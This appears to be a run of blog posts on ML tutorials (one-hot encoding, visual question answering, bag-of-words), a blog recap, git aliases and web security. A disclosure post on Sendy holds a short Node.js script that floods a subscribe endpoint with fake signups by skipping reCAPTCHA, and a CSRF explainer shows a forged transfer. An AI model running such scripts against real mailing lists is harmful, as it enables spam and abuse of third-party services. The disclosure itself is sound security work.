As long as the CSRF token isn’t transmitted using cookies, an attacker would have no way of including it in a forged request:

Parameter	Value
`amount`	999999
`description`	You got hacked!
`to`	Evil-Scammers
`csrf_token`	??????????
An attacker’s transfer request, which would fail because the CSRF token is invalid.

Note: Many web frameworks already have CSRF prevention built-in. Be sure to check for existing solutions before you implement it yourself!

While CSRF tokens work well, they’re just the tip of the CSRF prevention iceberg. If you’re interested in reading more, I recommend this CSRF Prevention Cheat Sheet. Alternatively, if you want to learn more about another dangerous web security hole, check out my introduction to Cross-Site Scripting (XSS).

Thanks for reading, and stay safe!

One-Hot Encoding, Explained

Sun, 15 Mar 2020 12:00:00 GMT

One-Hot Encoding takes a single integer and produces a vector where a single element is 1 and all other elements are 0, like $[0, 1, 0, 0]$ .

For example, imagine we’re working with categorical data, where only a limited number of colors are possible: red, green, or blue. One way we could represent this numerically is by assigning each color a number:

Color	Value
Red	0
Green	1
Blue	2

This is known as integer encoding. For Machine Learning, this encoding can be problematic - in this example, we’re essentially saying “green” is the average of “red” and “blue”, which can lead to weird unexpected outcomes.

It’s often more useful to use the one-hot encoding instead:

Color	Integer Encoding	One-Hot Encoding
Red	0	$[1, 0, 0]$
Green	1	$[0, 1, 0]$
Blue	2	$[0, 0, 1]$

This is much more useful to pass into something like a neural network.

One-Hot Encoding in Python

Below are several different ways to implement one-hot encoding in Python.

scikit-learn

Using scikit-learn’s OneHotEncoder:

from sklearn.preprocessing import OneHotEncoder

encoder = OneHotEncoder(sparse=False)
print(encoder.fit_transform([['red'], ['green'], ['blue']]))
'''
[[0. 0. 1.]
 [0. 1. 0.]
 [1. 0. 0.]]
 '''

Keras

Using Keras’s to_categorical:

from keras.utils import to_categorical

print(to_categorical([0, 1, 2]))
'''
[[1. 0. 0.]
 [0. 1. 0.]
 [0. 0. 1.]]
 '''

NumPy

Using NumPy:

import numpy as np

arr = [2, 1, 0]
max = np.max(arr) + 1
print(np.eye(max)[arr])
'''
[[0. 0. 1.]
 [0. 1. 0.]
 [1. 0. 0.]]
'''

Year One Recap

Wed, 05 Feb 2020 12:00:00 GMT

One year ago yesterday, I published my first ever blog post. It’s been quite a ride since then!

Today, I’m going to go over the good, the bad, and the numbers of this blog so far. Welcome to the Year One Recap.

1. Goals for Year One

In my First 50 Days of Blogging post, I laid out three goals for Year One:

Publish 50 blog posts.
Get a million pageviews.
Grow my newsletter to 10,000 subscribers.

Here’s where I ended Year One:

Published 31 blog posts. ❌
Got 642k pageviews. ❌
Grew my newsletter to 3,000 subscribers. ❌

All in all, I didn’t hit any of the (pretty ambitious) goals I set for myself this year, but I made good progress towards them.

What Happened?

I got busy.

for ppl who follow me for ML content: it’s been a while, but I’ve got a pretty cool new ML post (collab with @flippnflops!) dropping next week to kick off the new year. Stay tuned!
— Victor Zhou (@victorczhou) January 1, 2020

it's been almost 2 months since my last post (life got b u s y) but I've finally got one coming out tomorrow morning! Subscribers should see it in their email inboxes :)

If you're not already subscribed to my newsletter, https://t.co/eRIaBVH8eq
— Victor Zhou (@victorczhou) November 8, 2019

In August 2019, I started my full time job as a Software Engineer at Facebook. You can see a noticeable drop in my production on this blog after that:

In hindsight, it was a bit naive to assume I’d be able to dedicate as much time to this blog after starting full time work… next year I’ll be more realistic.

2. More Data

First, let’s dive into some numbers from the past year, which will help motivate the new goals I’ll set for Year Two. If this isn’t really your thing, you can skip straight to Goals for Year Two.

Pageviews
Users
Organic Traffic
Subscribers
Revenue

Pageviews

Here’s a graph of my blog’s pageviews during Year One:

Pretty much all the spikes are from getting posts featured on Hacker News or Reddit.

My top 5 posts by pageviews haven’t changed too much since 6 months ago:

Page	Pageviews
/blog/intro-to-neural-networks/	112k
/blog/intro-to-cnns-part-1/	47k
/blog/intro-to-random-forests/	44k
/blog/intro-to-rnns/	31k
/blog/keras-neural-network-tutorial/	31k

Page	Pageviews
/blog/intro-to-neural-networks/	4.5k
/blog/gini-impurity/	3.3k
/blog/information-gain/	2.8k
/blog/build-an-io-game-part-1/	2.7k
/blog/keras-cnn-tutorial/	2.6k

Users

Unsurprisingly, the overall users graph looks just like the pageviews graph:

A total of 310k unique users visited my blog over the past year. Of them, 1/3 were mobile and 2/3 were desktop:

If you look at the last few months of this graph, you’ll notice that mobile users are significantly below 1/3 of all users during this time. This is in large part because most of my organic traffic comes on desktop, which suggests that my mobile SEO can be improved. I’ll break this down more later in the Organic Traffic section.

The top 3 browsers my users used were:

Browser	% of Users	Global Market Share
Chrome	64.3%	64.1%
Safari	14.8%	17.2%
Firefox	9.4%	4.7%

These numbers roughly align with global browser market shares except for Firefox. This isn’t too surprising given tech readers (who tend to be more privacy-conscious on average) disproportionately use Firefox. Seeing these numbers makes me realize I should be testing on Firefox more.

Organic Traffic

Organic Traffic has mostly leveled off since 6 months ago:

Averaged over a 7 day period, my blog gets around 500 daily organic clicks from Google Search.

My top posts in search results are similar to the top posts by pageviews (last 30 days) we looked at earlier, which is expected:

Page	Search Clicks
/blog/gini-impurity/	18.5k
/blog/keras-neural-network-tutorial/	17.9k
/blog/build-an-io-game-part-1/	14.8k
/blog/keras-cnn-tutorial/	10.8k
/blog/intro-to-neural-networks/	10.2k

Top 5 posts by performance on Google Search

What’s a little surprising / concerning is performance by device:

Device	Search Clicks	Search Impressions
Desktop	107k	3350k
Mobile	14k	470k
Tablet	1.5k	35k

Mobile SEO has become very important in recent years, especially with Google rolling out mobile-first indexing. My blog’s weak search performance on mobile is something I’ll definitely need to investigate more.

Subscribers

One interesting metric I like to look at is Subscribers per Pageview, which for my blog is 3k subscribers / 642k pageviews = 0.0047. In other words, I average a new subscriber every 642k / 3k = 214 pageviews.

Let’s see where subscribers are signing up from:

48% came from the Post Subscribe Popup, which appears after scrolling far enough on a post.
28% came from the Post Subscribe Form, which is included at the end of every post.
13% came from the Sidebar, which is included on my homepage and more.
11% came from the Subscribe Page, which is linked to from various posts and other places.

This reaffirms my reasoning for using the Post Subscribe Popup. Yes, I know it can be kind of annoying, but it also works - it’s the largest driver of subscribers for my newsletter. Sorry, ”die@in.fire.blacklisting.your.site.com“.

Someone reaaaally hated my newsletter popup 😂 pic.twitter.com/iJEPTdZxrb
— Victor Zhou (@victorczhou) August 27, 2019

Going forward, the data suggest that investing in iterating on the Post Subscribe Popup and Form may be worthwhile. For example, I could:

Experiment with different text or UI
Customize text based on the post
Expose the Popup earlier

Revenue

This blog’s revenue isn’t very important to me, but I might as well mention it because I’m sure some of you are curious. I use Carbon Ads because their ads look good and are tailored for tech audiences.

I made $674.80 in ad revenue over the past year:

My click-through rate (CTR) is on the low side, but this isn’t a priority for me right now. I’m making back more than enough to cover costs!

Maybe in a few years I’ll focus on revenue more, but for now I’m not.

3. Goals for Year Two

Grow Organic Traffic from 500 to 1000 clicks / day, averaged over 7 days.
Increase pageviews compared to last year and raise Subscribers per Pageview from 0.0047 to 0.0075.
Write a post with each of 3 different co-authors.

I tried to set more reasonable and actionable goals for Year Two (read: I’m trying to avoid missing every goal again). The motivation for these goals should be pretty clear if you’ve read all of this post so far, but I’ll also explain each goal below.

Goal 1: Organic Traffic (SEO)

I expect to still have a full-time job for the entirety of Year Two, so I won’t be any less busy. I’m obviously still going to blog, but I want to become less reliant on new content to drive pageviews. There’s a lot I can improve here, so I’m aiming to double my Organic Traffic this next year, be it through improving the SEO of old content or producing SEO-friendly new content.

Goal 2: Pageviews

This goal is primarily about raising Subscribers per Pageview. The “increase pageviews from last year” stipulation is to keep me honest: it’d be easy to increase Subscribers per Pageview simply by spamming readers, but that’s not what I want. This goal is about increasing subscriber conversions without degrading reader experience.

Goal 3: Co-Authors

Writing my first co-authored post was one of my favorite things I did this year. Working with other people is important to me, so I’d like to do more of that this next year. If you’re interested, get in touch!

4. Thank You

Readers like you are the reason I’m building this blog. Thanks for all your support this past year!

Yesterday marked 1 year of https://t.co/jLmrCx0lr8 🎉 I wrote a recap on how it went + goals for next year.

To celebrate, I’m also giving away a $100 Amazon gift card! To enter:

1. Follow me
2. Retweet

Thank you to everyone who helped me this year 🙏https://t.co/XhxXhAHpUe
— Victor Zhou (@victorczhou) February 5, 2020

Easy Visual Question Answering

Fri, 10 Jan 2020 12:00:00 GMT

Quick - what sport is depicted in this image?

Image from the CloudCV VQA Demo

You probably immediately knew the answer: baseball. Easy, right?

Now imagine you’re a computer. You’re given that same image and the text ”what sport is depicted in this image?” and asked to produce the answer. Not so easy anymore, is it?

This problem is known as Visual Question Answering (VQA): answering open-ended questions about images. VQA is interesting because it requires combining visual and language understanding. A model that solves this task demonstrates a more general understanding of images: it must be able to answer completely different questions about an image, oftentimes even addressing different sections of the image.

This might seem like a pretty unapproachable problem at first, but in reality it’s probably more accessible than you think. In this post, we’ll explore basic methods for performing VQA and build our own simple implementation in Python. Here’s a demo of the final product of this post:

Demo from https://easy-vqa-demo.victorzhou.com

Caveat: this post assumes a basic knowledge of Convolutional Neural Networks (CNNs). My introduction to CNNs covers everything you need to know, so start there if necessary.

We’ll also be using Keras, a deep learning library for Python, to power our model, so I recommend reviewing my introduction to Neural Networks with Keras if you’ve never seen Keras code before.

Enough of this preface. Let’s get started!

Just looking for the source code / results? Skip to The Results.

1. The Dataset

The best known dataset for VQA can be found at visualqa.org and contains 200k+ images and over a million questions (with answers) about those images. Here are a few examples from the original VQA paper:

Impressive, right? Unfortunately, this level of VQA is outside of the scope of this blog post. We’ll instead be using a custom dataset created just for this blog post: easy-VQA.

The images in the easy-VQA dataset are much simpler:

16 example images from easy-VQA.

The questions are also much simpler:

What shape is in the image?
What color is the triangle?
Is there a green shape in the image?
Does the image contain a circle?

In total, easy-VQA contains 5k images and ~50k questions, split into training (80%) and testing (20%) sets. The questions have 13 possible answers:

Yes/No: Yes, No
Shapes: Circle, Rectangle, Triangle
Colors: Red, Green, Blue, Black, Gray, Teal, Brown, Yellow

2. The Approach

The standard approach to performing VQA looks something like this:

Process the image.
Process the question.
Combine features from steps 1/2.
Assign probabilities to each possible answer.

An animated visualization of a typical VQA architecture.

Notice that we’re working with a fixed answer set where exactly one of the possible answers is guaranteed to be correct. This makes our lives a lot easier because we don’t have to generate the correct answer, we just have to answer what is effectively a multiple-choice question. Most cutting-edge VQA systems out there have 1000 possible answers, but for this post we’ll only allow the 13 possible answers included in easy-VQA.

Steps 1 and 2 generally use methods from Computer Vision and Natural Language Processing, respectively, to turn raw image / text inputs into processed data vectors. These two output representations can then be used analyzed together to ultimately pick the most likely answer.

An Example

Here’s a very simple example of how a VQA system might answer the question “what color is the triangle?” about the image in the visualization above:

Look for shapes and colors in the image. A simple CNN could be taught to recognize that our image contains a triangle that is blue.
Understand the question type. Since the question begins with “what color”, it’s easy to realize that the answer should be a color.
For each possible answer choice, determine its “strength” based on info from the previous two steps. The answer “Blue” will have a high strength because:
- we know the image has a blue shape
- we know the answer should be a color
Convert each answer’s “strength” to a probability using something like Softmax. The answer “Blue” will have close to 100% probability.

In the following sections, we’ll walk through the specifics of implementing each of these 4 steps for our easy-VQA dataset.

Code Setup

If you want to follow along with this post without starting from scratch, clone the easy-VQA-keras repo:

git clone https://github.com/vzhou842/easy-VQA-keras.git
cd easy-VQA-keras
pip install -r requirements.txt

Otherwise, if you do want to setup from scratch, make sure you’re using Python 3 and install a few packages:

pip install easy-vqa tensorflow Pillow numpy

We need TensorFlow, which comes packaged with Keras as its high-level API, and we’ll use Pillow for image processing. We’ll also be using the easy-vqa Python package, which makes it simple to access the easy-VQA dataset. More on that later - for now, let’s get started.

3. The Image Model

First up: our image model. As we’ve previously mentioned, we’ll build a Convolutional Neural Network (CNN) to extract information from the image input. To do this, we’ll use Keras, a beginner-friendly but powerful deep learning library for Python. I’ve already written a guide on using Keras to implement CNNs - it might help to open it in a new tab or skim it before continuing.

Our image dataset is not very complex, so we can tackle it with a relatively simple CNN:

Start with a 64x64 image from the dataset.
Pass through a conv layer with eight 3x3 filters using “same” padding, resulting in a 64x64x8 volume.
Use a standard max pooling layer to cut the volume to 32x32x8.
Pass through another conv layer, this time with 16 filters, resulting in a 32x32x16 volume.
Use max pooling again, cutting to 16x16x16.
Flatten the volume, which results in a layer with 16^3 = 4096 nodes.

Confused? All of the concepts above are covered in my intro to CNNs.

Here’s the code:

from tensorflow.keras.layers import Input, Conv2D, MaxPooling2D, Flatten

# The CNN
im_input = Input(shape=(64, 64))
x1 = Conv2D(8, 3, padding='same')(im_input)
x1 = MaxPooling2D()(x1)
x1 = Conv2D(16, 3, padding='same')(x1)
x1 = MaxPooling2D()(x1)
x1 = Flatten()(x1)
# Add a final fully-connected layer after the CNN for good measure
x1 = Dense(32, activation='tanh')(x1)

This code uses Keras’s Model (functional) API. We’re not using Keras’s Sequential model API because we’ll need to combine our image model and our question model later (you’ll see, keep reading).

4. The Question Model

Next up: our question model. Most VQA models would use some kind of Recurrent Neural Network (RNN) to process the question input, but that’s a little overkill for our use case. The questions in the easy-VQA dataset are short, simple, and come from a fixed set of question templates, so they’re much more approachable compared to those you might see in the real world.

Instead of a complicated RNN architecture, we’ll take a simpler approach:

Use a Bag of Words (BOW) representation to turn each question into a vector.
Use that vector as input to a standard (feedforward) neural network.

Don’t worry if you don’t entirely understand what that meant. We’ll go through both of those steps below.

Bag of Words (BOW)

A BOW representation turns any text string into a fixed-length vector by counting how many times each word appears in the text. I’ve written a short, beginner-friendly introduction to Bag-of-Words models - I’d recommend reading that now if you’re unfamiliar with them! From here on, I’m assuming you have a basic understanding of BOW models.

We’ll take advantage of Keras’s Tokenizer class to implement BOW:

from easy_vqa import get_train_questions, get_test_questions
from tensorflow.keras.preprocessing.text import Tokenizer

# Read questions
# train_qs and test_qs are just arrays of question strings
# (we'll use the other variables later)
train_qs, _, _ = get_train_questions()
test_qs, _, _ = get_test_questions()

# Fit tokenizer on the training questions
tokenizer = Tokenizer()
tokenizer.fit_on_texts(train_qs)

# Convert questions to BOW
train_X_seqs = tokenizer.texts_to_matrix(train_qs)
test_X_seqs = tokenizer.texts_to_matrix(test_qs)

# Example BOW:
# [0 0 1 1 0 1 0 0 1 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
print(train_X_seqs[0])

Notice that we read question data from the easy-vqa package. If you want to see the details on those APIs, refer to the easy-vqa documentation.

Neural Network Time!

As discussed before, our question dataset is relatively simple, so we don’t need anything too fancy for our question model. We’ll just pass our BOW vector representation into 2 fully-connected (FC) neural network layers:

Reminder: fully-connected layers have every node connected to every output from the previous layer. We used fully-connected layers in my intro to Neural Networks if you need a refresher.

Here’s our implementation, which also uses Keras’s Model (functional) API:

from tensorflow.keras.layers import Input, Dense

# BOW code here...

# We add one because the Keras Tokenizer reserves index 0 and never uses it.
vocab_size = len(tokenizer.word_index) + 1

# The question network
q_input = Input(shape=(vocab_size,))
x2 = Dense(32, activation='tanh')(q_input)
x2 = Dense(32, activation='tanh')(x2)

The vocab_size variable is the length of our BOW vector representations, which are the inputs to our question model.

5. The Merge

We’ll use a very simple method to merge our image and question vectors: element-wise multiplication. Implementing this is a one-liner with Keras’s Multiply merge layer:

from tensorflow.keras.layers import Multiply

# The CNN
x1 = # ... code from above

# The question network
x2 = # ... code from above

out = Multiply()([x1, x2])

The out vector now contains information derived from both the image and the question.

An Example

To illustrate how this might be useful, consider this (somewhat contrived) example:

The first element in the image vector is high when the image contains a blue shape and low otherwise.
The first element in the question vector is high when the question contains the word “blue” and low otherwise.

Then the first element in the out vector will only be high when both the image and the question are related to the color blue. This result would be very useful in answering a question like “Is there a blue shape in the image?”

In reality, it’s unlikely that our model learns exactly this kind of behavior. Remember that the model learns by propagating gradients through its layers, and that’s unlikely to produce a result so simple. Instead, focus on the intuition that:

There’s color information embedded in both the image and question vectors.
After multiplication, certain parts of the result can be used to answer question about color.

Practically, we could’ve used any differentiable method of merging the two vectors. Other merge methods listed under Keras’s Merge Layers section include Add, Subtract, Concatenate, and Average, all of which do what you think they do. Most of these would probably work just as well as Multiply for our simple dataset - feel free to try them out on your own!

6. The Output

Finally, it’s time for our VQA system to produce an answer. Recall that we’re working with a fixed answer set: we know all possible answers and exactly one is guaranteed to be correct.

For this step, we’ll use Softmax to turn our output values into probabilities so we can quantify how sure we are about each possible answer. If you’re unfamiliar with Softmax, I highly recommend reading my explanation of Softmax before continuing.

First, we’ll throw in one fully-connected layer for good measure, then use Keras’s built-in Softmax implementation:

# Merge -> output
out = Multiply()([x1, x2]) # from previous section
out = Dense(32, activation='tanh')(out)
# num_answers will be defined below
out = Dense(num_answers, activation='softmax')(out)

That’s it! All that’s left is to build and compile the model:

from tensorflow.keras.models import Model
from tensorflow.keras.optimizers import Adam

# The CNN
im_input = # ... code from above

# The question network
q_input = # ... code from above

# Merge -> output
out = # ... code from above

model = Model(inputs=[im_input, q_input], outputs=out)
model.compile(
  Adam(lr=2e-4), # somewhat arbitrarily chosen
  loss='categorical_crossentropy',
  metrics=['accuracy'],
)

If you need a refresher, I explained Cross-Entropy Loss in my CNNs series.

7. The Data Processing

Now that we’ve got our model figured out, we just need a bit more code to get all our data ready. For this section, I recommend opening the easy-VQA documentation in a separate tab for reference. I’ll leave out explanations of methods we use from easy-vqa for brevity.

First, we’ll just pull some data from easy-vqa:

from easy_vqa import get_train_questions, get_test_questions, get_answers

# Read question data
# (we already did this in the BOW section, remember?)
train_qs, train_answers, train_image_ids = get_train_questions()
test_qs, test_answers, test_image_ids = get_test_questions()

# Read answer data
all_answers = get_answers()
num_answers = len(all_answers)

Next, we’ll read and pre-process our images:

from easy_vqa import get_train_image_paths, get_test_image_paths
from tensorflow.keras.preprocessing.image import load_img, img_to_array

def load_and_proccess_image(image_path):
  # Load image, then scale and shift pixel values to [-0.5, 0.5]
  im = img_to_array(load_img(image_path))
  return im / 255 - 0.5

def read_images(paths):
  # paths is a dict mapping image ID to image path
  # Returns a dict mapping image ID to the processed image
  ims = {}
  for image_id, image_path in paths.items():
    ims[image_id] = load_and_proccess_image(image_path)
  return ims

train_ims = read_images(get_train_image_paths())
test_ims = read_images(get_test_image_paths())

Then, we’ll create the actual inputs and expected outputs we’ll use to train our model:

from tensorflow.keras.utils import to_categorical

# Create model input images
train_X_ims = [train_ims[id] for id in train_image_ids]
test_X_ims = [test_ims[id] for id in test_image_ids]

# Create model outputs
train_answer_indices = [all_answers.index(a) for a in train_answers]
test_answer_indices = [all_answers.index(a) for a in test_answers]
train_Y = to_categorical(train_answer_indices)
test_Y = to_categorical(test_answer_indices)

Keras’s to_categorical is a handy method to make one-hot vectors out of indices. We need one-hot vectors to match the dimensions of our output Softmax layer.

As an optional step, we’ll setup a Keras ModelCheckpoint to save our best models after every epoch:

from tensorflow.keras.callbacks import ModelCheckpoint

checkpoint = ModelCheckpoint('model.h5', save_best_only=True)

Finally, we’re ready to train!

# Train the model!
model.fit(
  # Reminder: train_X_seqs is from this post's BOW section
  [train_X_ims, train_X_seqs],
  train_Y,
  validation_data=([test_X_ims, test_X_seqs], test_Y),
  shuffle=True,
  epochs=8, # somewhat arbitrary, try more epochs if you have time!
  callbacks=[checkpoint],
)

8. The Results

I won’t include the full code in this post itself to save space, but you can find it here on Github. Copy and paste these lines into your terminal to train the model yourself:

git clone https://github.com/vzhou842/easy-VQA-keras.git
cd easy-VQA-keras
pip install -r requirements.txt
python train.py

Running the code gives us results like this:

Epoch 1/8
loss: 0.8887 - accuracy: 0.6480 - val_loss: 0.7504 - val_accuracy: 0.6838
Epoch 2/8
loss: 0.7443 - accuracy: 0.6864 - val_loss: 0.7118 - val_accuracy: 0.7095
Epoch 3/8
loss: 0.6419 - accuracy: 0.7468 - val_loss: 0.5659 - val_accuracy: 0.7780
Epoch 4/8
loss: 0.5140 - accuracy: 0.7981 - val_loss: 0.4720 - val_accuracy: 0.8138
Epoch 5/8
loss: 0.4155 - accuracy: 0.8320 - val_loss: 0.3938 - val_accuracy: 0.8392
Epoch 6/8
loss: 0.3078 - accuracy: 0.8775 - val_loss: 0.3139 - val_accuracy: 0.8762
Epoch 7/8
loss: 0.1982 - accuracy: 0.9286 - val_loss: 0.2202 - val_accuracy: 0.9212
Epoch 8/8
loss: 0.1157 - accuracy: 0.9627 - val_loss: 0.1883 - val_accuracy: 0.9378

Not bad at all for 8 epochs on such a simple model:

we reached 93.8% validation accuracy
we’re clearly seeing training progress (losses decreasing, accuracies increasing)
the model isn’t overfitting too badly yet (training/validation losses and accuracies are close enough)

If you want, you can experiment on your own with the code to achieve even better results. The Extensions section of my introduction to CNNs with Keras is a good starting point. Given the relative simplicity of this problem, you should be able to pass 99% validation accuracy pretty easily. For reference: the official easy-VQA demo uses a model that achieved 99.5% validation accuracy with only slightly different parameters.

9. The End

You’ve now implemented a working VQA model! This post was just a gentle introduction, though. There’s much more you can do:

Learn about Recurrent Neural Networks (RNNs), which can be more powerful than the simple BOW-based question model we used.
Take on the original VQA dataset, which contains much harder images and questions.
Check out this survey of VQA to understand the more sophisticated methods state-of-the-art models use.
Try out the CloudCV VQA demo (it’s quite impressive!).

Thanks for reading!

Note: this post used first person (“I”, “my”) to read like it’s me (Victor Zhou) talking. However, as indicated at the very top, this post was co-authored by my good friend Phillip Wang, a recent CS grad from CMU who’s done his fair share of ML. Thanks Phillip!

A Simple Explanation of the Bag-of-Words Model

Sat, 30 Nov 2019 12:00:00 GMT

The bag-of-words (BOW) model is a representation that turns arbitrary text into fixed-length vectors by counting how many times each word appears. This process is often referred to as vectorization.

Let’s understand this with an example. Suppose we wanted to vectorize the following:

the cat sat
the cat sat in the hat
the cat with the hat

We’ll refer to each of these as a text document.

Step 1: Determine the Vocabulary

We first define our vocabulary, which is the set of all words found in our document set. The only words that are found in the 3 documents above are: the, cat, sat, in, the, hat, and with.

Step 2: Count

To vectorize our documents, all we have to do is count how many times each word appears:

Document	`the`	`cat`	`sat`	`in`	`hat`	`with`
the cat sat	1	1	1	0	0	0
the cat sat in the hat	2	1	1	1	1	0
the cat with the hat	2	1	0	0	1	1

Now we have length-6 vectors for each document!

the cat sat: [1, 1, 1, 0, 0, 0]
the cat sat in the hat: [2, 1, 1, 1, 1, 0]
the cat with the hat: [2, 1, 0, 0, 1, 1]

Notice that we lose contextual information, e.g. where in the document the word appeared, when we use BOW. It’s like a literal bag-of-words: it only tells you what words occur in the document, not where they occurred.

Implementing BOW in Python

Now that you know what BOW is, I’m guessing you’ll probably need to implement it. Here’s my preferred way of doing it, which uses Keras’s Tokenizer class:

from keras.preprocessing.text import Tokenizer

docs = [
  'the cat sat',
  'the cat sat in the hat',
  'the cat with the hat',
]

## Step 1: Determine the Vocabulary
tokenizer = Tokenizer()
tokenizer.fit_on_texts(docs)
print(f'Vocabulary: {list(tokenizer.word_index.keys())}')

## Step 2: Count
vectors = tokenizer.texts_to_matrix(docs, mode='count')
print(vectors)

Running that code gives us:

Vocabulary: ['the', 'cat', 'sat', 'hat', 'in', 'with']
[[0. 1. 1. 1. 0. 0. 0.]
 [0. 2. 1. 1. 1. 1. 0.]
 [0. 2. 1. 0. 1. 0. 1.]]

Notice that the vectors here have length 7 instead of 6 because of the extra 0 element at the beginning. This is an inconsequential detail - Keras reserves index 0 and never assigns it to any word.

How is BOW useful?

Despite being a relatively basic model, BOW is often used for Natural Language Processing (NLP) tasks like Text Classification. Its strengths lie in its simplicity: it’s inexpensive to compute, and sometimes simpler is better when positioning or contextual info aren’t relevant.

I’ve written a blog post that uses BOW for profanity detection - check it out if you’re curious to see BOW in action!

Sendy is Insecure: How Not to Implement reCAPTCHA

Fri, 08 Nov 2019 12:00:00 GMT

EDIT: We did it - Sendy has released a patch (v4.0.3.3) for this issue! I recommend upgrading if you’re affected. Thanks to Sendy for the quick response to this blog post, and thanks to every reader who helped make this happen.

A few months ago, I switched from Mailchimp to Sendy, a self-hosted email newsletter alternative. I wrote a whole post about why I switched from Mailchimp to Sendy, but the gist is that Mailchimp got too expensive too fast.

Since then, I’ve been generally satisfied with Sendy. Until one day, this happened:

Spam signups to my Sendy email list

Sendy sees these email addresses as distinct, but they’re actually largely duplicates because of the Gmail period trick. That means these email addresses were getting all of my emails (including the double opt-in ones) multiple times, which is an easy way for me to get reported for spam.

This incident finally spurred me to invest in protecting my email newsletter (which I really should’ve done in the first place). Luckily for me, Sendy comes with reCAPTCHA v2 support built-in! I thought it’d be easy to setup, but for some reason I couldn’t get it to work with my custom subscribe form, so I reached out to Sendy for help:

Here’s what he responded with the next day:

This line stuck out to me:

There’s no way to implement Google’s reCAPTCHA in an API.

That can’t be right - the reCAPTCHA documentation has a dedicated section on Server Side Validation!

I did some further investigation into Sendy’s standard subscribe form in an attempt to understand what Ben meant. Here’s an abbreviated version of the HTML behind that form:

<form action="https://sendy.victorzhou.com/subscribe" method="POST">
  <div>
    <label for="name">Name</label>
    <input type="text" name="name" id="name">
  </div>
  <div>
    <label for="email">Email</label>
    <input type="email" name="email" id="email">
  </div>
  <input type="hidden" name="list" value="LIST_ID_HERE">
  <input type="hidden" name="subform" value="yes">
  <div class="g-recaptcha" data-sitekey="SITE_KEY_HERE">
    <!-- some more reCAPTCHA stuff here -->
  </div>
  <a>Subscribe to list</a>
</form>

The first thing I noticed was the value of the form’s action attribute: https://sendy.victorzhou.com/subscribe. Interestingly enough, that’s the exact URL where the official Sendy API lives.

Now, we know the standard subscribe form:

Has a working server-side validated reCAPTCHA implementation (I tested it).
Uses the official Sendy Subscribe API.

Those two facts refute this claim:

There’s no way to implement Google’s reCAPTCHA in an API.

Additionally, why would Ben tell me that reCAPTCHA would ”take effect for the standard subscribe forms that Sendy provides, not the subscribe API“?

<form action="https://sendy.victorzhou.com/subscribe" method="POST">
  <div>
    <label for="name">Name</label>
    <input type="text" name="name" id="name">
  </div>
  <div>
    <label for="email">Email</label>
    <input type="email" name="email" id="email">
  </div>
  <input type="hidden" name="list" value="LIST_ID_HERE">
  <input type="hidden" name="subform" value="yes">  <div class="g-recaptcha" data-sitekey="SITE_KEY_HERE">
    <!-- some more reCAPTCHA stuff here -->
  </div>
  <a>Subscribe to list</a>
</form>

Did you notice that highlighted line before? Why would the official Sendy form include a hardcoded subform field that’s not documented in the Sendy API?

Yup, you (might have) guessed it. The subform field enables server-side reCAPTCHA verification. If that field isn’t set to yes, server-side reCAPTCHA is completely disabled.

I sent what I’d found to Ben immediately:

His response was not what I was hoping for:

Oh no. 🤦🏻‍♂️

The rest of this email chain doesn’t really go anywhere. That’s why I’m writing this post - please patch this issue, Ben!

Come on, Victor, is this really such a big deal?

Yes. Recall this quote from my most recent email to Ben:

What good is reCAPTCHA if anybody with a computer can write a script in 5 minutes to spam your email list with thousands of fake signups?

Okay, it’s a little exaggerated (you’d obviously need some programming / web dev experience), but I stand by that point. Let me prove it to you.

Here’s a Node.js script that spams a Sendy email list:

// Header: spam-sendy.js
// This code is meant ONLY AS AN EXAMPLE.
// DO NOT USE - it's illegal and will get you in trouble.
const request = require('request');
for (let i = 0; i < 100; i++) {
  request.post('https://sendy.victorzhou.com/subscribe').form({
    email: `sendy-vulnerability-${i}@victorzhou.com`,
    list: 'TEST_LIST_ID_HERE',
  });
}

WARNING: DO NOT use this code to attack a real email list without permission. That's super illegal and can get you in serious trouble.

That’s 7 lines of code to send as many spam signups as you want. To test this, I set up a test list on my actual Sendy account, enabled reCAPTCHA for it using my real reCAPTCHA keys, and ran the script.

It works. If you’re currently using Sendy’s reCAPTCHA implementation, now you know: it’s not doing what you think.

So how do I protect my email list?!

Well, ideally Sendy would release a patch that fixes this issue. Then you’d just have to update your installation and you’d be good to go! If you’re an affected Sendy user, you can help by emailing hello@sendy.co to ask for a patch. Feel free to link this post as a reference - the more support we can get, the better.

In case Sendy doesn’t release a fix soon, here’s how you can modify your Sendy installation yourself to fix this:

Open subscribe.php in the root directory of your Sendy installation.
Find where the reCAPTCHA verification happens. For me (Sendy v4.0.3.1), it started at this line of code:

if($recaptcha_secretkey!='')

You can probably just search the file for this line of code.

Move that entire if statement block outside of the $subform check. Here’s what the result looked like for me:

// Header: subscribe.php
// This is where the reCAPTCHA logic should end up
if ($recaptcha_secretkey != '') {
  // the rest of the reCAPTCHA code here
}

if ($subform) {
  // Some IP Address logic here
  // ...

  // This is where the reCAPTCHA logic used to be
  // ...

  // Some more stuff afterwards
  // ...
}

You can also contact me if you have issues protecting your Sendy subscribe form and I’ll do my best to help.

In Conclusion,

Please don’t implement reCAPTCHA like this.

Git Aliases I Use (Because I'm Lazy)

Mon, 16 Sep 2019 12:00:00 GMT

I finally started using Git more heavily a few years ago when I first began building some of my bigger side projects. Now, it’s true that typing git status and git push is pretty easy, but if you’ve got some Git experience you know some commands can get rather long.

The one that always got me was:

$ git commit --amend --no-edit

This amends your staged changes into your most recent commit without changing its commit message (so Git won’t open a text editor!). My most common use case for it was fixing changes I’d just committed. Maybe I was just careless, but I’d often finish a commit only to find a typo or debug line not 30 seconds later 😠.

Typing all 28 characters of git commit --amend --no-edit gets old pretty fast. I’m pretty into optimizing things (even when I probably shouldn’t be 🤷), so one day I procrastinated by thinking about ways to optimize my Git commands…

My Git Aliases

If you google something like ”shorten git commands,” you’ll quickly find out about Git Aliases. Turns out, shortening commands is built into Git! All you have to do is tell Git what you want to alias. For example, you can shorten status to s by copy and pasting this line into your terminal:

git config --global alias.s status

What that command actually does is update your .gitconfig file, which stores global Git configs:

// Header: ~/.gitconfig
[alias]
  s = status

Now, whenever you type in the alias s, Git will automatically replace it with status!

Here’s a collection of my favorite Git Aliases:

// Header: ~/.gitconfig
[alias]
  s = status
  d = diff
  co = checkout
  br = branch
  last = log -1 HEAD
  cane = commit --amend --no-edit
  lo = log --oneline -n 10
  pr = pull --rebase

My .gitconfig

// Header: git aliases
git config --global alias.s status
git config --global alias.d diff
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.last "log -1 HEAD"
git config --global alias.cane "commit --amend --no-edit"
git config --global alias.pr "pull --rebase"
